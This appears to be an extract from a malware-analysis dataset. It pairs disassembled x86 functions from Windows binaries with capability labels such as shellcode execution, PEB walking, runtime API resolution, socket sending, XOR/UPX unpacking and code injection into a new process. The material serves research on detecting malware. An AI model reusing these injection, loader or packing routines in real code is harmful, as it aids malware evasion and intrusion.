joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f90
Capabilities:
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x402fbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_time]
push 0
call edi
push eax
call dword [sym.imp.MSVCRT.dll_srand]
push 0x138580
call sub.MFC42u.DLL_operatornew
add esp, 0xc
mov dword [esp + 0xc], eax
test eax, eax
mov dword [esp + 0x38], 0
je 0x401fe3
mov ecx, eax
call fcn.00402370
mov esi, eax
jmp 0x401fe5
xor esi, esi
lea eax, [esp + 0x24]
push 0xa
push eax
mov dword [esp + 0x40], 0xffffffff
call fcn.00401f30
add esp, 8
mov ecx, esi
call fcn.00402420
test eax, eax
je 0x402080
push 0
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
push ecx
call dword [sym.imp.MSVCRT.dll_localtime]
mov edx, dword [eax]
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax + 8]
push ecx
push edx
lea eax, [esp + 0x2c]
push str._02d:_02d:_02d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
lea ecx, [esp + 0x10]
lea edx, [esp + 8]
mov byte [esp + 8], 0x33
push 3
push ecx
push 0xffffffffffffffff
push edx
push 0
push 0
mov byte [esp + 0x21], 0x32
mov byte [esp + 0x22], 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [esp + 0x18]
push 9
push eax
mov ecx, esi
call fcn.00402680
mov edx, dword [esi + 8]
push 0
lea ecx, [esp + 0x28]
push 0xa
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [esi + 0x9c2d0]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x40209e
push 0x64
call edi
mov eax, dword [esi + 0x9c2d0]
test eax, eax
je 0x402090
push 0xffffffffffffffff
call edi
push 0x186a0
call edi
pop edi
mov eax, 1
mov ecx, dword [esp + 0x2c]
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x10

Function at 0x402270
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.KERNEL32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4022cd
push str.CreateEventA
push edi
call esi
push str.ResetEvent
push edi
mov dword [0x4065b8], eax
call esi
push str.WaitForSingleObject
push edi
mov dword [0x4065b4], eax
call esi
push str.CreateThread
push edi
mov dword [0x4065b0], eax
call esi
push str.VirtualAlloc
push edi
mov dword [0x4065ac], eax
call esi
mov dword [0x4065a8], eax
push str.Ws2_32.dll
call ebx
mov edi, eax
test edi, edi
je 0x402335
push str.WSAStartup
push edi
call esi
push str.WSACleanup
push edi
mov dword [0x4065a0], eax
call esi
push str.socket
push edi
mov dword [0x40659c], eax
call esi
push str.closesocket
push edi
mov dword [0x406598], eax
call esi
push str.connect
push edi
mov dword [0x406594], eax
call esi
push str.recv
push edi
mov dword [0x406590], eax
call esi
push str.gethostbyname
push edi
mov dword [0x40658c], eax
call esi
mov dword [0x4065a4], eax
push str.msvcrt.dll
call ebx
test eax, eax
je 0x40234d
push str.memcpy
push eax
call esi
mov dword [0x406588], eax
push str.USER32.dll
call ebx
test eax, eax
je 0x402365
push str.send
push eax
call esi
mov dword [0x406584], eax
pop edi
pop esi
pop ebx
ret
Function at 0x402420
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x120
lea eax, [esp + 0x20]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0xff
push eax
push 0xffffffffffffffff
push 0x405146
push 0
mov esi, ecx
push 0
call edi
push 0x405146
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0
push 0
lea ecx, [esp + 0x10]
push 0x1e
push ecx
push 0xffffffffffffffff
push str.14992
push 0
push 0
call edi
lea edx, [esp + 8]
lea eax, [esp + 0x28]
push edx
push eax
mov ecx, esi
call fcn.00402490
pop edi
pop esi
add esp, 0x120
ret

Function at 0x402610
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
mov eax, dword [0x4063c8]
push esi
push edi
mov edi, ecx
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x40262e
pop edi
pop esi
pop ecx
ret
mov ecx, dword [0x4063c8]
add edi, 0x9c2d4
push ecx
push edi
push esi
call fcn.00402240
mov eax, dword [0x4063c8]
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x40
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push esi
push esi
push 0
push 0
call dword [0x4065ac]
pop edi
mov eax, 1
pop esi
pop ecx
ret
Function at 0x80e0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0080e200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x80e0d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x80e0c2
add dl, dl
jne 0x80e0e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x80e134
xor eax, eax
add dl, dl
jne 0x80e0ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x80e1d5
add dl, dl
jne 0x80e0fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x80e108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x80e113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x80e11e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x80e12a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x80e0cd
mov eax, 1
add dl, dl
jne 0x80e142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x80e14d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x80e139
sub eax, ebx
mov ebx, 1
jne 0x80e180
mov ecx, 1
add dl, dl
jne 0x80e166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x80e171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x80e15d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x80e0cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x80e197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x80e1a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x80e18e
cmp eax, 0x7d00
jae 0x80e1c5
cmp eax, 0x500
jb 0x80e1c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x80e0cd
cmp eax, 0x7f
ja 0x80e1c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x80e0cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x80e1f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x80e0cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x412ebe
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00412d3d

Function at 0x41704f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004169bd

Function at 0x41705a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416bf8

Function at 0x40c470
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x40c492
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40c499
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40c488
mov eax, 1
add ebx, ebx
jne 0x40c4ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40c4a0
jne 0x40c4bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c4a0
xor ecx, ecx
sub eax, 3
jb 0x40c4d0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40c542
mov ebp, eax
add ebx, ebx
jne 0x40c4db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40c4e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40c50c
inc ecx
add ebx, ebx
jne 0x40c4f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40c4ed
jne 0x40c509
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c4ed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40c52c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40c51d
jmp 0x40c48e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40c52c
add edi, ecx
jmp 0x40c48e
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40c54a
cmp byte [edi], 1
jne 0x40c54a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40c54f
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x40c5c7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd70c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd748]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40c57c
mov ecx, edi
jns 0x40c5ab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd74c]
or eax, eax
je 0x40c5c1
mov dword [ebx], eax
add ebx, 4
jmp 0x40c599
call dword [esi + 0xd750]
popal
jmp 0x401128
Function at 0x401080
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x1c
push esi
push eax
mov dword [0x408530], eax
call fcn.00401160
add esp, 4
test eax, eax
jne 0x4010a1
pop esi
add esp, 0x1c
ret 0x10
mov eax, dword [0x408530]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
push eax
push 0
push 0
push 1
call esi
cdq
and edx, 3
add eax, edx
sar eax, 2
push eax
push 0
call esi
cdq
and edx, 3
add eax, edx
sar eax, 2
push eax
push 0
push 0
push 0x20cf0000
push str.MySql
push 0x406030
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
test esi, esi
jne 0x4010f7
pop esi
add esp, 0x1c
ret 0x10
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea ecx, [esp + 0x10]
push ecx
call esi
test eax, eax
je 0x401151
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
push edi
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
lea esp, [esp]
lea edx, [esp + 0xc]
push edx
call edi
lea eax, [esp + 0xc]
push eax
call ebx
push 0
push 0
push 0
lea ecx, [esp + 0x18]
push ecx
call esi
test eax, eax
jne 0x401130
pop edi
pop ebx
mov eax, dword [esp + 0xc]
pop esi
add esp, 0x1c
ret 0x10

Function at 0x4a306a
Capabilities:
Encode data using xor

Disassembly:
cmp esi, esi
mov bl, 0x30
fild qword [ecx + 0x3c6f3c06]
push ebp
fistp word [edi]
pop ds
js 0x4a307b
cmp al, 0xc2
pop esp
jns 0x4a2ffe

Function at 0x4bbf29
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3400
cmp edx, dword [eax]
je 0x4bbf4b
add eax, 8
inc ecx
cmp eax, 0x4c3490
jl 0x4bbf3c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3400]
jne 0x4bc079
mov eax, dword [0x4c8e34]
cmp eax, 1
je 0x4bc053
test eax, eax
jne 0x4bbf7c
cmp dword [0x4c332c], 1
je 0x4bc053
cmp edx, 0xfc
je 0x4bc079
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bbfb3
lea eax, [ebp - 0x1a4]
push 0x4c16c0
push eax
call fcn.004bc910
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bcda0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bbff6
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bcda0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c16bc
push edi
call fcn.004bec70
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c16a0
push eax
call fcn.004bc910
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc920
lea eax, [ebp - 0xa0]
push 0x4c169c
push eax
call fcn.004bc920
push dword [esi + 0x4c3404]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc920
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c1674
push eax
call fcn.004bebe4
add esp, 0x2c
pop edi
jmp 0x4bc079
lea eax, [ebp + 8]
lea esi, [esi + 0x4c3404]
push 0
push eax
push dword [esi]
call fcn.004bcda0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x88566e7
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
mov ecx, 0x377c4528
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0xa1209d
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push edi
push eax
nop
nop
nop
nop
mov eax, dword fs:[0x30]
nop
nop
nop
nop
mov dword [ebp - 4], eax
nop
nop
pop eax
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0xc]
add esi, 0x14
mov edi, dword [esi]
jmp 0xa120db
push dword [ebp + 8]
push dword [edi + 0x28]
call dword [0xa410a4]
test eax, eax
je 0xa120e5
mov edi, dword [edi]
cmp edi, esi
jne 0xa120c9
xor al, al
pop edi
pop esi
leave
ret
mov al, 1
jmp 0xa120e1
Function at 0xa15566
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0xa4e078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x33323130
mov dword [ebp - 0xc], 0x37363534
mov word [ebp - 8], 0x3938
mov byte [ebp - 6], 0
mov ecx, edi
mov eax, esi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
inc ecx
test eax, eax
jne 0xa15596
mov byte [ecx], al
pop ebx
mov eax, esi
xor edx, edx
push 0xa
pop esi
div esi
dec ecx
mov dl, byte [ebp + edx - 0x10]
mov esi, eax
mov byte [ecx], dl
test esi, esi
jne 0xa155a4
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, edi
pop esi
call fcn.00a2f48c
leave
ret
Function at 0xa1748f
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0xa4e078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.00a22d75
lea eax, [ebp - 0x980]
push eax
call fcn.00a155de
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0xa47a5a
lea esi, [ebp - 0x8f8]
call fcn.00a22d43
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0xc52104]
push dword [0xc51dcc]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0xc521e0]
test eax, eax
jne 0xa17516
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0xa1769a
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0xc52204]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0xa1768e
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0xc51c18]
push dword [ebp - 0x918]
push 0xa48ab4
push dword [ebp - 0x8e8]
call dword [0xc52244]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0xa17682
cmp esi, ebx
je 0xa175af
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0xc51ffc]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0xc521cc]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0xc5225c]
test eax, eax
jne 0xa175f7
push 0xa48ab8
mov esi, dword [ebp - 0x8d8]
call fcn.00a22d43
jmp 0xa176ab
lea edx, [ebp - 0x104]
call fcn.00a24359
cmp eax, 0xc8
jne 0xa176d7
cmp esi, ebx
je 0xa17676
mov edi, 0x7cf
jmp 0xa17657
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0xa17676
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.00a22e65
lea esi, [ebp - 0x8f8]
call fcn.00a22de9
mov eax, dword [ebp - 0x908]
call fcn.00a13510
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0xc5212c]
test eax, eax
jne 0xa17618
push dword [ebp - 0x8e0]
call dword [0xc52100]
push dword [ebp - 0x8e8]
call dword [0xc52100]
push dword [ebp - 0x8dc]
call dword [0xc52100]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.00a22d75
mov eax, dword [ebp - 0x8f8]
call fcn.00a13510
mov eax, dword [ebp + 0xc]
call fcn.00a13510
mov eax, dword [ebp + 0x18]
call fcn.00a13510
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00a2f48c
leave
ret
push 0xa48ac0
jmp 0xa175e7
Function at 0xa1826f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0x40
push 0
push esi
call fcn.00a1880b
add esp, 0x10
test eax, eax
jne 0xa1828f
xor eax, eax
inc eax
jmp 0xa18325
mov eax, 0x5a4d
cmp word [esi], ax
jne 0xa18322
mov eax, dword [esi + 0x3c]
test eax, eax
je 0xa18322
push dword [ebp + 8]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call fcn.00a1880b
add esp, 0x10
test eax, eax
je 0xa18287
cmp dword [edi], 0x4550
jne 0xa18322
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0xa18322
movzx eax, word [esi + 0x46]
test ax, ax
je 0xa18322
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.00a243d4
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0xa182f7
push 3
jmp 0xa18324
push dword [ebp + 8]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00a1880b
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0xa18325
push 2
pop eax
pop edi
pop ebp
ret
Function at 0xa21eec
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0xa21fb2
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00a36090
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0xa47615
push 0xa47754
call dword [0xc520b0]
test eax, eax
je 0xa21fb0
push edi
push 0x1000
push edi
push ebx
call dword [0xc5216c]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [0xa410c4]
test eax, eax
je 0xa21fb0
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [0xa41194]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [0xa410d0]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0xa21fb7
push dword [ebp - 0x20]
call dword [0xc52220]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [0xa410d4]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0xa22011
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0xa21fda
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [0xa410c8]
push dword [ebp - 0x20]
call dword [0xc52220]
mov eax, dword [ebp - 0x1c]
jmp 0xa21fb2
Function at 0xa2a979
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0xa2c9d0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, eax
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0xa2c9fe
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.00a36090
mov eax, ebx
movzx ecx, word [eax*8 + 0xa471b2]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0xa471b0]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0xa471b4]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0xa471b6]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0xa2ca61
mov eax, dword [ebp + 8]
or word [eax], 4
jmp 0xa2ca6d
cmp ebx, 8
jl 0xa2ca6d
mov eax, dword [ebp + 8]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0xa2cad2
cmp eax, 0xffffffff
je 0xa2cad2
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0xa2caad
call fcn.00a2cc28
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0xa2cab5
jmp 0xa2cae2
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret